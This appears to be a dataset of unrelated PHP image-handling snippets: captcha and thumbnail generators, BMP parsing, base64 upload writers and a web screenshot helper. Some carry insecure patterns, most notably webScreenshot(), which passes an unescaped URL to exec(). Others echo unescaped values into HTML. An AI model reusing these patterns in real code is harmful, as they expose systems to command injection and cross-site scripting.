$this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n break;\r\n case 7:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n break;\r\n case 8:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n break;\r\n case 9:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n $html .= $this->GetVansterBen(); \r\n break;\r\n }//end switch\r\n \r\n $html .= \"</svg>\";\r\n\r\n return $html; \r\n }",
"public function image();",
"public function image();",
"public function picture(){\n }",
"protected function generateHighDensityGraphic() {}",
"private function get_type_img()\n {\n $this->multi_byte_string_to_array();\n foreach($this->strings as $char)\n {\n $this->init_img();\n $this->create_img($char);\n }\n }",
"function create($w,$h) {\n\n if ( $this->vertical ) {\n $this->width = $h;\n $this->height = $w;\n } else {\n $this->width = $w;\n $this->height = $h;\n }\n\n $this->img = imageCreate($this->width,$this->height);\n $this->colorIds = array();\n}",
"function generateThumb($dst_w = 85, $dst_h = 85, $mode) {\n $this->thumbToolkit = ImageToolkit::factory($this->getImagePath ());\n if ($mode == true) {\n $mode = 'crop';\n }\n else {\n $mode = 'ratio';\n }\n $this->thumbToolkit->setDestSize ($dst_w, $dst_h, $mode);\n\n $final = luxbum::getThumbImage ($this->dir, $this->file, $dst_w, $dst_h);\n if (!is_file ($final)) {\n files::createDir ($this->thumbDir);\n $this->thumbToolkit->createThumb ($final);\n }\n return $final;\n }",
"public function renderMemberProfile($string) {\r\n\t$ids = explode('-', $string);\r\n\t$kid = $ids[0];\r\n\ttry {\r\n\t $userData = $this->getUserModel()->getUserByKid((int) $kid);\r\n\t $profileData = $this->getUserModel()->getWebProfilesFluent((int) $kid)->execute()->fetch();\r\n\t} catch (Exception $ex) {\r\n\t $this->flashMessage('Omlouváme se, ale požadovaná data nelze získat. Zkuste to prosím znovu nebo později.', 'error');\r\n\t Debugger::log($ex->getMessage(), Debugger::ERROR);\r\n\t $this->redirect('Homepage:default');\r\n\t}\r\n\r\n\tdump(\"PICTURE\");\r\n\r\n\t$this->template->profile_req = $userData->profile_required;\r\n\r\n\r\n\t$this->template->publicData = array('name' => $userData->name,\r\n\t 'surname' => $userData->surname,\r\n\t 'year' => $userData->year,\r\n\t 'nick' => $userData->nick,\r\n\t 'signature' => $userData->signature,\r\n\t 'city' => $userData->city);\r\n\t$profileData->offsetUnset('kid');\r\n\t$profileData->offsetUnset('city');\r\n\t$profileData->offsetUnset('job');\r\n\t$profileData->offsetUnset('last_updated');\r\n\t$profileData->offsetUnset('contact');\r\n\t$this->template->profileData = $profileData;\r\n\r\n\t// TODO rights 0 1 2\r\n\t$this->template->levelOneData = array('job' => $userData->job,\r\n\t 'phone' => $userData->phone);\r\n\r\n\t// TODO rights 3 4\r\n\t$this->template->levelTwoData = array('address' => $userData->address,\r\n\t 'postalCode' => $userData->postal_code,\r\n\t 'contName' => $userData->contperson_name,\r\n\t 'contPhone' => $userData->contperson_phone,\r\n\t 'contEmail' => $userData->contperson_email);\r\n }",
"public function getLogo();",
"protected function _makeImage()\n {\n $result = array();\n $width='170';\n $height='40';\n $characters= mt_rand(5,7);\n $possible = '123456789aAbBcCdDeEfFgGhHIijJKLmMnNpPqQrRstTuUvVwWxXyYZz';\n $code = '';\n $i = 0;\n while ($i < $characters) {\n $code .= substr($possible, mt_rand(0, strlen($possible)-1), 1);\n $i++;\n }\n $font = './fonts/Milonga-Regular.ttf';\n /* font size will be 70% of the image height */\n $font_size = $height * 0.67;\n try {\n $image = @imagecreate($width, $height);\n /* set the colours */\n $text_color = imagecolorallocate($image, 20, 40, 100);\n $noise_color = imagecolorallocate($image, 100, 120, 180);\n /* generate random dots in background */\n for( $i=0; $i<($width*$height)/3; $i++ ) {\n imagefilledellipse($image, mt_rand(0,$width), mt_rand(0,$height), 1, 1, $noise_color);\n }\n /* generate random lines in background */\n for( $i=0; $i<($width*$height)/150; $i++ ) {\n imageline($image, mt_rand(0,$width), mt_rand(0,$height), mt_rand(0,$width), mt_rand(0,$height), $noise_color);\n }\n /* create textbox and add text */\n $textbox = imagettfbbox($font_size, 0, $font, $code);\n $x = ($width - $textbox[4])/2;\n $y = ($height - $textbox[5])/2;\n imagettftext($image, $font_size, 0, $x, $y, $text_color, $font , $code);\n ob_start();\n imagejpeg($image);\n $image_code = ob_get_contents ();\n ob_end_clean();\n imagedestroy($image);\n $result = array();\n $result['1'] = base64_encode($image_code);\n Tinebase_Session::getSessionNamespace()->captcha['code'] = $code;\n } catch (Exception $e) {\n if (Core::isLogLevel(LogLevel::NOTICE)) Core::getLogger()->notice(__METHOD__ . '::' . __LINE__ . ' ' . $e->getMessage());\n }\n return $result;\n }",
"function getImageStringFromFile($xpmfile) {\r\n $file = fopen($xpmfile,\"r\");\r\n $content = fread($file, filesize($xpmfile));\r\n // remove all \" and CR\r\n $content = str_replace(array(\"\\\"\",\"\\n\", \"\\r\"), \"\", $content);\r\n // find position of { and of } and substr between these 2\r\n $start = strpos($content, \"{\")+1; // to remove the {\r\n $stop = strpos($content, \"}\");\r\n $imgdescr = substr($content, $start, $stop - $start);\r\n // explode\r\n $xpm = explode(\",\", $imgdescr);\r\n \r\n //print_r($xpm);\r\n \r\n return getImageString($xpm);\r\n}",
"function webScreenshot($url,$format=NULL,$size=NULL,$crop=NULL,$crop_position=NULL,$quality=NULL) {\n if(isset($format)){\n switch ($format) {\n case \"jpg\":\n $fileformat = $format;\n $format = \" -f $format\";\n break;\n case \"png\":\n $fileformat = $format;\n $format = \" -f $format\";\n break;\n default:\n return '<div class=\"error\"><strong>Error:</strong> Only \"jpg\" and \"png\" are supported.</div>';\n }\n } else {\n $fileformat = \"jpg\";\n }\n \n $filename = md5($url.date(\"c\")); //\n $cmd = \"./wkhtmltoimage$format $url webscreenshots/$filename.$fileformat >> wkhtmltoimage.log\";\n exec($cmd);\n return '<div id=\"web-screenshot\">'.\"<div>$cmd</div>\".'<a href=\"'.$url.'\"><img src=\"'.\"webscreenshots/$filename.$fileformat\".'\" alt=\"Web ScreenShot\" /></a></div>';\n}",
"function view_logo_project($img,$w,$h,$alt)\n{\n if(file_exists(\"logo/\".$img) && $img!='')\n\n $temp= \"<img src=\\\"include/phpThumb.php?src=../logo/\".$img.\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" \n alt='$alt' class='floatL mar12R' />\";\n else\n $temp =\"<img src=\\\"include/phpThumb.php?src=../logo/nophoto.jpg\\\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" alt='$alt' class='floatL mar12R'/>\";\n \n\treturn $temp;\t\t\t}",
"public function toGDImage() {}",
"function view_builder_logo($img,$w,$h,$alt)\n{\n if(file_exists(\"builder/\".$img) && $img!='')\n\n $temp= \"<img src=\\\"include/phpThumb.php?src=../builder/\".$img.\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" \n alt='$alt' class='mar7L' />\";\n else\n $temp =\"<img src=\\\"include/phpThumb.php?src=../builder/nophoto.jpg\\\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" alt='$alt' class='mar7L'/>\";\n \n\treturn $temp;\t\t\t}",
"public function create_image(){\n\t\t$md5_hash = md5(rand(0,999));\n\t\t$security_code = substr($md5_hash, 15, 5);\n\t\t$this->Session->write('security_code',$security_code);\n\t\t$width = 80;\n\t\t$height = 22;\n\t\t$image = ImageCreate($width, $height);\n\t\t$black = ImageColorAllocate($image, 37, 170, 226);\n\t\t$white = ImageColorAllocate($image, 255, 255, 255);\n\t\tImageFill($image, 0, 0, $black);\n\t\tImageString($image, 5, 18, 3, $security_code, $white);\n\t\theader(\"Content-Type: image/jpeg\");\n\t\tImageJpeg($image);\n\t\tImageDestroy($image);\n\t}",
"public function image()\n {\n return pov()->img($this->localPath());\n }",
"function playerPortraitCreate ($base, $player)\r\n{\r\n list($width_orig, $height_orig) = getimagesize($base);\r\n list($width_orig2, $height_orig2) = getimagesize($player);\r\n \r\n // Calculando a proporção\r\n $ratio_orig = $width_orig / $height_orig;\r\n $ratio_orig2 = $width_orig2 / $height_orig2;\r\n /// Largura e altura máximos (máximo, pois como é proporcional, o resultado varia)\r\n // No caso da pergunta, basta usar $_GET['width'] e $_GET['height'], ou só\r\n // $_GET['width'] e adaptar a fórmula de proporção abaixo.\r\n $width = 500;\r\n $height = 500;\r\n $width2 = 100;\r\n $height2 = 100;\r\n if ($width / $height > $ratio_orig) {\r\n $width = $height * $ratio_orig;\r\n } else {\r\n $height = $width / $ratio_orig;\r\n }\r\n if ($width2 / $height2 > $ratio_orig2) {\r\n $width2 = $height2 * $ratio_orig2;\r\n } else {\r\n $height2 = $width2 / $ratio_orig2;\r\n }\r\n // O resize propriamente dito. Na verdade, estamos gerando uma nova imagem.\r\n $extension = explode(\".\", $base);\r\n $extension = $extension[count($extension) - 1];\r\n $image_p = imagecreatetruecolor($width, $height);\r\n $image = NULL;\r\n if ($extension == \"jpg\" || $extension == \"jpeg\") {\r\n $image = imagecreatefromjpeg($base);\r\n } elseif ($extension == \"gif\") {\r\n $image = imagecreatefromgif($base);\r\n } elseif ($extension == \"png\") {\r\n $image = imagecreatefrompng($base);\r\n }\r\n imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);\r\n \r\n $image_player = imagecreatetruecolor($width2, $height2);\r\n $marcadagua = imagecreatefromgif($player);\r\n setTransparency($image_player, $marcadagua);\r\n imagecopyresized($image_player, $marcadagua, 0, 0, 0, 0, $width2, $height2, $width_orig2, $height_orig2);\r\n// imagedestroy($marcadagua);\r\n \r\n //pega o tamanho da imagem principal\r\n $dwidth = imagesx($image_p);\r\n $dheight = imagesy($image_p);\r\n \r\n //pega o tamanho da imagem que vai ser centralizada\r\n $mwidth = imagesx($image_player);\r\n $mheight = imagesy($image_player);\r\n //Calcula a x e y posição pra colocar a imagem no centro da outra\r\n //A função round arredonda os valores\r\n $xPos = round(($dwidth - $mwidth) / 2 - 40);\r\n $yPos = round(($dheight - $mheight) / 2 - 40);\r\n imagecopymerge($image_p, $image_player, $xPos, $yPos, 0, 0, $mwidth, $mheight, 100);\r\n// imagedestroy($image_player);\r\n// imagecopyresampled($image_p, $image_player, $xPos, $yPos, 0, 0, $mwidth, $mheight, 100,100);\r\n return $image_p;\r\n}",
"function show_art($file,$width,$height) {\n global $directory, $year,$media_url, $collection;\n $file = preg_replace('-\\.gif$-',\".png\",$file);\n // Scale down figures\n if ($width > 860) { $w = $width; $width = 860; $height *= 860/$w; }\n print \"<div><img src='$media_url/$collection/\" . strtolower(\"$directory/$file\") . \"'\"\n . ($width > 0 ? \" width='$width'\" : \"\")\n . ($height > 0 ? \" height='$height'\" : \"\")\n . \" /></div>\\n\";\n}",
"public function testUrlGeneration() {\n\n\t\t$image = $this->getSampleImage();\n\n\t\t$this->assertTrue( !empty($image->ID) && $image->exists() );\n\n\t\t// Generate a thumb\n\t\t$colour = 'ffffff';\n\t\t$thumb = $image->Pad( self::WIDTH, self::HEIGHT, $colour );\n\t\t$this->assertTrue($thumb instanceof ThumboredImage);\n\t\t// Get its URL\n\t\t$url = $thumb->getAbsoluteURL();\n\n\t\t// Thumbor\\Url\\Builder\n\t\t$instance = $image->getUrlInstance();\n\t\t$this->assertTrue($instance instanceof ThumborUrlBuilder);//Phumbor\n\t\t$instance_url = $instance->__toString();\n\n\t\t$this->assertEquals($url, $instance_url);\n\n\t\t$this->getRemoteImageDimensions($url, $width, $height);\n\n\t\t$this->assertEquals($width, self::WIDTH);\n\t\t$this->assertEquals($height, self::HEIGHT);\n\n\t\t// Test that the _resampled thumb DOES NOT exist locally in /assets, which is the point of Thumbor\n\t\t$variant_name = $image->variantName('Pad', self::WIDTH, self::HEIGHT, $colour);\n\t\t$filename = $image->getFilename();\n\t\t$hash = $image->getHash();\n\t\t$exists = $this->asset_store->exists($filename, $hash, $variant_name);\n\n\t\t$this->assertTrue( !$exists, \"The variant name exists and it should not\" );\n\n\t}",
"public function GetImage($type=NULL){\r\n\t\t$GTemp=$this->GTemp;\r\n\t\tif ($type!=NULL){\r\n\t\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$type.\".jpg\");\r\n\t\t\t$width=$this->width;\r\n\t\t\t$height=$this->height;\r\n\t\t\t$hndl_dest=imagecreatetruecolor($width,$height);\r\n\t\t\timagecopy($hndl_dest,$hndl,0,0,$this->x1,$this->y1,$this->width,$this->height);\r\n\t\t\treturn $hndl_dest;\r\n\t\t}\r\n\t\t$types=$this->WidgetClass()->Types();\r\n\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$types[0].\".jpg\");\r\n\t\t$width=(sizeof($types))*($this->width);\r\n\t\t$height=$this->height;\r\n\t\t$hndl_dest=imagecreatetruecolor($width,$height);\r\n\t\timagecopy($hndl_dest,$hndl,0,0,$this->x1,$this->y1,$this->width,$this->height);\r\n\t\t$counter=0;\r\n\t\tif ($types!=''){\r\n\t\t\tforeach ($types as $index => $val){\r\n\t\t\t\tif ($index==0) continue;\r\n\t\t\t\t$counter++;\r\n\t\t\t\timagedestroy($hndl);\r\n\t\t\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$val.\".jpg\");\r\n\t\t\t\timagecopymerge($hndl_dest,$hndl,($counter)*$this->width,0,\r\n\t\t\t\t\t$this->x1,$this->y1,$this->width,$this->height,100);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $hndl_dest;\r\n\t}",
"public function HexaDecimalToImage($haxaString) {\n $destFolderName=\"../uploads/profile-pics\";\n $destFileName = $destFolderName.\"/\".uniqid() . '.png';\n $hex = preg_replace('/[\\s\\W]+/','',$haxaString);\n $binary = @pack(\"H*\", $hex);\n $success = file_put_contents($destFileName, $binary);\n\n if($success===false){\n @unlink($destFileName);\n return false;\n }else{\n $fullImageURL = str_replace('./uploads/', '/uploads/', $destFileName);\n return $fullImageURL;\n }\n\n }",
"function small($sfp,$w='',$h='',$scale=true) {\n if(empty($sfp)){\n echo iCMS_FS_URL.'1x1.gif';\n return;\n }\n if(strpos($sfp,'_')!==false){\n if(preg_match('|.+\\d+x\\d+\\.jpg$|is', $sfp)!=0){\n echo $sfp;\n return;\n }\n }\n $uri = parse_url(iCMS_FS_URL);\n if(stripos($sfp,$uri['host']) === false){\n echo $sfp;\n return;\n }\n\n if(empty(iCMS::$config['thumb']['size'])){\n echo $sfp;\n return;\n }\n\n $size_map = explode(\"\\n\", iCMS::$config['thumb']['size']);\n $size_map = array_map('trim', $size_map);\n $size_map = array_flip($size_map);\n $size = $w.'x'.$h;\n if(!isset($size_map[$size])){\n echo $sfp;\n return;\n }\n\n if(iCMS::$config['FS']['yun']['enable']){\n if(iCMS::$config['FS']['yun']['sdk']['QiNiuYun']['Bucket']){\n echo $sfp.'?imageView2/1/w/'.$w.'/h/'.$h;\n return;\n }\n if(iCMS::$config['FS']['yun']['sdk']['TencentYun']['Bucket']){\n echo $sfp.'?imageView2/2/w/'.$w.'/h/'.$h;\n return;\n }\n }\n echo $sfp.'_'.$size.'.jpg';\n}",
"public function getImage() {}",
"function createThumb($file)\n{\n $fileParts\t=\tpathinfo($file);\n $fileName\t=\t$fileParts['filename'];\n $ext\t\t=\t$fileParts['extension'];\n $imagePath = ROOT . \"/\" . IMGPATH . $file;\n\n // thumb naam\n $bestandsnaam = $fileName . \"_thumbs\";\n\n // Bepaal de dimensies van de verkleining\n $thumbDimensions['w']\t=\t50;\n $thumbDimensions['h']\t=\t50;\n\n // Haal de breedte en de hoogte op uit het originele bestand\n list($width, $height)\t=\tgetimagesize($imagePath); // kent automatisch de value uit getimagesize (retunt array(width, height)) toe aan de variabele in de list in de overeenstemmende volgorde\n\n // get Dimension type\n if($width == $height)\n {\n $dimension = 'square';\n }elseif($width>$height)\n {\n $dimension = 'landscape';\n }else {\n $dimension = 'portrait';\n }\n // Controleer om welke extensie het gaat en voer de overeenstemmende methode uit\n switch ($ext)\n {\n case ('jpg'):\n case ('jpeg'):\n $source \t= \timagecreatefromjpeg($imagePath);\n break;\n\n case ('png'):\n $source \t=\timagecreatefrompng($imagePath);\n break;\n\n case ('gif'):\n $source \t=\timagecreatefromgif($imagePath);\n break;\n }\n\n //CROP based on dimension type\n switch($dimension)\n {\n case 'landscape':\n $cropped = imagecrop($source, ['x' => (($width-$height)/2), 'y' => 0, 'width' => $height, 'height' => $height]);\n\n $width = $height;\n break;\n\n case 'portrait':\n $cropped = imagecrop($source, ['x' => 0, 'y' => (($height-$width)/2), 'width' => $width, 'height' => $width]);\n\n $height = $width;\n break;\n\n default: $cropped = $source;\n }\n // Creëer een leeg canvas met de dimensies van de nieuwe afbeelding\n $thumb \t=\timagecreatetruecolor($thumbDimensions['w'], $thumbDimensions['h']);\n\n // Resize het origineel naar de gewenste dimensies en plaats het de verkleinde versie in het nieuwe canvas.\n // nieuwe canvas = destination, oude canvas = source, destination x, destination y, source x, source y, destination width, destination height, source width, source height\n imagecopyresized($thumb, $cropped, 0,0,0,0, $thumbDimensions['w'],$thumbDimensions['h'], $width, $height);\n\n // Slaag het nieuwe canvas op (canvas, (folder).fileName, kwaliteit)\n $resized \t= \timagejpeg($thumb, (ROOT . \"/\" . IMGPATH. \"thumbs/\" . $bestandsnaam . \".\" . $ext), 100);\n\n return $resized;\n}",
"private function generateHead() {\n echo '<h3><span class=\"glyphicon glyphicon-camera\"></span> Images</h3>';\n echo '<div class=\"row\">';\n }",
"public function getImageName();",
"public function show_image() {\n\t $options = Request::get(\"params\");\n\t $img_id = Request::get(\"id\");\n\t $img_size = $options[0];\n \t$this->use_view=false;\n\t\t$this->use_layout=false;\n \tif(!$size = $img_size) $size=110;\n \telse{\n\t\t\tif(strrpos($size, \".\")>0) $size = substr($size, 0, strrpos($size, \".\"));\n\t\t}\n \t$img = new WildfireFile($img_id);\n $img->show($size);\n }",
"function getImage();",
"protected function renderHeader($unit) {\n $draw = $this->getDraw();\n $draw->setFillColor('#000000');\n $draw->setStrokeWidth(0);\n $draw->setFontSize(20);\n\n $x = $this->currentX + $this->margin;\n $y = $this->currentY;\n\n $gon = new Imagick();\n $gon->readImage('../assets/octagon.png');\n $gon->resizeimage(45, 45, \\Imagick::FILTER_LANCZOS, 1);\n $this->image->compositeImage($gon, Imagick::COMPOSITE_DEFAULT, $x + 3, $y + 3);\n\n if($unit['slot'] != 'NA') {\n $gon = new Imagick();\n $gon->readImage('../assets/icon_'.$unit['slot'].'.png');\n $gon->resizeimage(35, 35, \\Imagick::FILTER_LANCZOS, 1);\n $this->image->compositeImage($gon, Imagick::COMPOSITE_DEFAULT, $x + 9, $y + 7);\n }\n\n $gon = new Imagick();\n $gon->readImage('../assets/octagon.png');\n $gon->resizeimage(45, 45, \\Imagick::FILTER_LANCZOS, 1);\n $this->image->compositeImage($gon, Imagick::COMPOSITE_DEFAULT, $x + 55, $y + 3);\n $draw->setFont('../assets/title_font.otf');\n $draw->setFontSize(26);\n\n $draw->setFillColor('#FFFFFF');\n if(strlen($unit['power']) == 1) {\n $this->image->annotateImage($draw, 71 + $x, $y + 33, 0, $unit['power']);\n } else if(strlen($unit['power']) == 3) {\n $this->image->annotateImage($draw, 56 + $x, $y + 33, 0, $unit['power']);\n } else{\n $this->image->annotateImage($draw, 64 + $x, $y + 33, 0, $unit['power']);\n }\n\n # unit name:\n $draw->setFillColor('#000000');\n $iters = 0;\n $title = $unit['customName'] ? $unit['customName'] : $unit['title'];\n $title_size = 28;\n $draw->setFontSize($title_size);\n $draw->setFont('../assets/title_font.otf');\n $check = $this->image->queryFontMetrics($draw, strtoupper($title));\n $maxNameWidth = 420;\n while($iters < 6 && $check['textWidth'] > $maxNameWidth) {\n $iters += 1;\n $title_size -= 2;\n $draw->setFontSize($title_size);\n $check = $this->image->queryFontMetrics($draw, strtoupper($unit['title']));\n }\n $title_x = $x + 110;\n $this->image->annotateImage($draw, $title_x, $y + 40, 0, strtoupper($title));\n $this->currentY += 50;\n $this->renderLine();\n }",
"public function createImgUri() {\n\t\t$this->imgUri = FLICKR_FARM;\n\t\t$this->imgUri .= $this->photo['farm'];\n\t\t$this->imgUri .= '.';\n\t\t$this->imgUri .= STATICFLICKR;\n\t\t$this->imgUri .= $this->photo['server'];\n\t\t$this->imgUri .= '/';\n\t\t$this->imgUri .= $this->photo['id'];\n\t\t$this->imgUri .= '_';\n\t \t$this->imgUri .= $this->photo['secret'];\n\t\t$this->imgUri .= '.';\n\t \t$this->imgUri .= IMGEXT;\n\t}",
"public function Photo(){\n\t\t$photoId = \"491634914183411\";\n\t\t$imgInfo \t\t\t= 'https://graph.facebook.com/'.$photoId.'?access_token='.$this->session->userdata('oauth_token');\n\t\techo $imgInfo;\n\t}",
"function get_court_pic($img)\n{\n\tdefine('UPLOAD_DIR', 'CourtPics/');\n\t$img \t= str_replace('data:image/png;base64,', '', $img);\n\t$img \t= str_replace(' ', '+', $img);\n\t$data \t= base64_decode($img);\n $file \t= UPLOAD_DIR . uniqid() . '.jpg';\n $success = file_put_contents($file, $data);\n \n\treturn $success ? $file : 'some problem occured';\n}",
"function get_header_image()\n {\n }",
"public function display_bitmap($width,$height,$bitmap) \r\n { \r\n $rowSize=floor(($width+31)/32)*4; \r\n $size=$rowSize*$height + 62; //62 metadata size \r\n $bytemap=$this->bitmap2bytemap($bitmap,$width,$height); \r\n \r\n\r\n header(\"Content-Type: image/bmp\"); \r\n #bitmap header \r\n echo \"BM\"; //header \r\n echo (pack('V',$size)); //bitmap size , 4 bytes unsigned little endian \r\n echo \"RRRR\"; \r\n echo (pack('V',14+40+8)); //bitmap data start offset , 4 bytes unsigned little endian, 14 forced, 40 header, 8 colors \r\n\r\n #info header \r\n echo pack('V',40); //bitmap header size (min 40), 4 bytes unsigned little-endian \r\n echo (pack('V',$width)); //bitmap width , 4 bytes signed integer \r\n echo (pack('V',$height)); //bitmap height , 4 bytes signed integer \r\n echo (pack('v',1)); //number of colored plains , 2 bytes \r\n echo (pack('v',1)); //color depth , 2 bytes \r\n echo (pack('V',0)); //compression algorithm , 4 bytes (0=none, RGB) \r\n echo (pack('V',0)); //size of raw data, 0 is fine for no compression , 4 bytes \r\n echo (pack('V',11808)); //horizontal resolution (dpi), 4 bytes \r\n echo (pack('V',11808)); //vertical resolution (dpi), 4 bytes \r\n echo (pack('V',0)); //number of colors in pallette (0 = all), 4 bytes \r\n echo (pack('V',0)); //number of important colors (0 = all), 4 bytes \r\n\r\n #color palette \r\n echo (pack('V',0)); //first color, black \r\n echo (pack('V',0x00FFFFFF)); //next color, white \r\n\r\n for ($j=$height-1;$j>=0;--$j) \r\n for ($i=0;$i<$rowSize/4;++$i) \r\n for ($k=0;$k<4;++$k) \r\n if (isset($bytemap[$j][$i*4+$k])) \r\n echo pack('C',$bytemap[$j][$i*4+$k]); \r\n else \r\n echo pack('C',1); \r\n }",
"public function showImageFromGet() {\n\n\t\t// $imageFilename = UniteFunctionsRev::getGetVar(\"img\");\n\t\t$imageID = intval( UniteFunctionsRev::getGetVar( 'img' ) );\n\t\t$maxWidth = UniteFunctionsRev::getGetVar( 'w',-1 );\n\t\t$maxHeight = UniteFunctionsRev::getGetVar( 'h',-1 );\n\t\t$type = UniteFunctionsRev::getGetVar( 't','' );\n\n\t\t// set effect\n\t\t$effect = UniteFunctionsRev::getGetVar( 'e' );\n\t\t$effectArgument1 = UniteFunctionsRev::getGetVar( 'ea1' );\n\n\t\tif ( ! empty( $effect ) ) {\n\t\t\t$this->setEffect( $effect,$effectArgument1 ); }\n\n\t\t$this->showImageByID( $imageID );\n\t\techo 'sechs<br>';\n\t\t// $this->showImage($imageFilename,$maxWidth,$maxHeight,$type);\n\t}",
"function ImageCreateFromBMP($filename)\n{\n //Ouverture du fichier en mode binaire\n if (! $f1 = fopen($filename,\"rb\")) return FALSE;\n\n //1 : Chargement des ent�tes FICHIER\n $FILE = unpack(\"vfile_type/Vfile_size/Vreserved/Vbitmap_offset\", fread($f1,14));\n if ($FILE['file_type'] != 19778) return FALSE;\n\n //2 : Chargement des ent�tes BM\n $BMP = unpack('Vheader_size/Vwidth/Vheight/vplanes/vbits_per_pixel'.\n '/Vcompression/Vsize_bitmap/Vhoriz_resolution'.\n '/Vvert_resolution/Vcolors_used/Vcolors_important', fread($f1,40));\n $BMP['colors'] = pow(2,$BMP['bits_per_pixel']);\n if ($BMP['size_bitmap'] == 0) $BMP['size_bitmap'] = $FILE['file_size'] - $FILE['bitmap_offset'];\n $BMP['bytes_per_pixel'] = $BMP['bits_per_pixel']/8;\n $BMP['bytes_per_pixel2'] = ceil($BMP['bytes_per_pixel']);\n $BMP['decal'] = ($BMP['width']*$BMP['bytes_per_pixel']/4);\n $BMP['decal'] -= floor($BMP['width']*$BMP['bytes_per_pixel']/4);\n $BMP['decal'] = 4-(4*$BMP['decal']);\n if ($BMP['decal'] == 4) $BMP['decal'] = 0;\n\n //3 : Chargement des couleurs de la palette\n $PALETTE = array();\n if ($BMP['colors'] < 16777216)\n {\n $PALETTE = unpack('V'.$BMP['colors'], fread($f1,$BMP['colors']*4));\n }\n\n //4 : Cr�ation de l'image\n $IMG = fread($f1,$BMP['size_bitmap']);\n $VIDE = chr(0);\n\n $res = imagecreatetruecolor($BMP['width'],$BMP['height']);\n $P = 0;\n $Y = $BMP['height']-1;\n while ($Y >= 0)\n {\n $X=0;\n while ($X < $BMP['width'])\n {\n if ($BMP['bits_per_pixel'] == 24)\n $COLOR = unpack(\"V\",substr($IMG,$P,3).$VIDE);\n elseif ($BMP['bits_per_pixel'] == 16)\n {\n $COLOR = unpack(\"n\",substr($IMG,$P,2));\n $COLOR[1] = $PALETTE[$COLOR[1]+1];\n }\n elseif ($BMP['bits_per_pixel'] == 8)\n {\n $COLOR = unpack(\"n\",$VIDE.substr($IMG,$P,1));\n $COLOR[1] = $PALETTE[$COLOR[1]+1];\n }\n elseif ($BMP['bits_per_pixel'] == 4)\n {\n $COLOR = unpack(\"n\",$VIDE.substr($IMG,floor($P),1));\n if (($P*2)%2 == 0) $COLOR[1] = ($COLOR[1] >> 4) ; else $COLOR[1] = ($COLOR[1] & 0x0F);\n $COLOR[1] = $PALETTE[$COLOR[1]+1];\n }\n elseif ($BMP['bits_per_pixel'] == 1)\n {\n $COLOR = unpack(\"n\",$VIDE.substr($IMG,floor($P),1));\n if (($P*8)%8 == 0) $COLOR[1] = $COLOR[1] >>7;\n elseif (($P*8)%8 == 1) $COLOR[1] = ($COLOR[1] & 0x40)>>6;\n elseif (($P*8)%8 == 2) $COLOR[1] = ($COLOR[1] & 0x20)>>5;\n elseif (($P*8)%8 == 3) $COLOR[1] = ($COLOR[1] & 0x10)>>4;\n elseif (($P*8)%8 == 4) $COLOR[1] = ($COLOR[1] & 0x8)>>3;\n elseif (($P*8)%8 == 5) $COLOR[1] = ($COLOR[1] & 0x4)>>2;\n elseif (($P*8)%8 == 6) $COLOR[1] = ($COLOR[1] & 0x2)>>1;\n elseif (($P*8)%8 == 7) $COLOR[1] = ($COLOR[1] & 0x1);\n $COLOR[1] = $PALETTE[$COLOR[1]+1];\n }\n else\n return FALSE;\n imagesetpixel($res,$X,$Y,$COLOR[1]);\n $X++;\n $P += $BMP['bytes_per_pixel'];\n }\n $Y--;\n $P+=$BMP['decal'];\n }\n\n //Fermeture du fichier\n fclose($f1);\n\n return $res;\n}",
"public function getThumbnail() {\r return $this->Image()->CMSThumbnail();\r }",
"protected function generateGraphic() {}",
"function display_child_picture($child_id, $client, $dbname, $uid, $password, $image_sel = 'headshot', $width = 80, $height = 80, $custom_style = '') {\r\n \r\n try {\r\n\r\n if (!file_exists('tmp/thumbnails/' . $child_id . '_' . $image_sel . '_' . $width . 'x' . $height . '.jpg')) {\r\n\r\n $childpictures_filter = array(\r\n new xmlrpcval(\r\n array(new xmlrpcval('child_id', \"string\"),\r\n new xmlrpcval('=', \"string\"),\r\n new xmlrpcval($child_id, \"int\")\r\n ), \"array\"\r\n ),\r\n );\r\n\r\n $msg = new xmlrpcmsg('execute');\r\n $msg->addParam(new xmlrpcval($dbname, \"string\"));\r\n $msg->addParam(new xmlrpcval($uid, \"int\"));\r\n $msg->addParam(new xmlrpcval($password, \"string\"));\r\n $msg->addParam(new xmlrpcval(\"compassion.child.pictures\", \"string\"));\r\n $msg->addParam(new xmlrpcval(\"search\", \"string\"));\r\n $msg->addParam(new xmlrpcval($childpictures_filter, \"array\"));\r\n $response = $client->send($msg);\r\n //print_r($response5);\r\n\r\n $result = $response->value();\r\n $ids5 = $result->scalarval();\r\n $idpictures_list = array();\r\n\r\n for ($i5 = 0; $i5 < count($ids5); $i5++) {\r\n $idpictures_list[] = new xmlrpcval($ids5[$i5]->me['int'], 'int');\r\n }\r\n\r\n $field_list_child = array(\r\n new xmlrpcval($image_sel, \"string\"),\r\n new xmlrpcval('id', \"int\"),\r\n new xmlrpcval('date', \"string\"),\r\n );\r\n\r\n $msg4 = 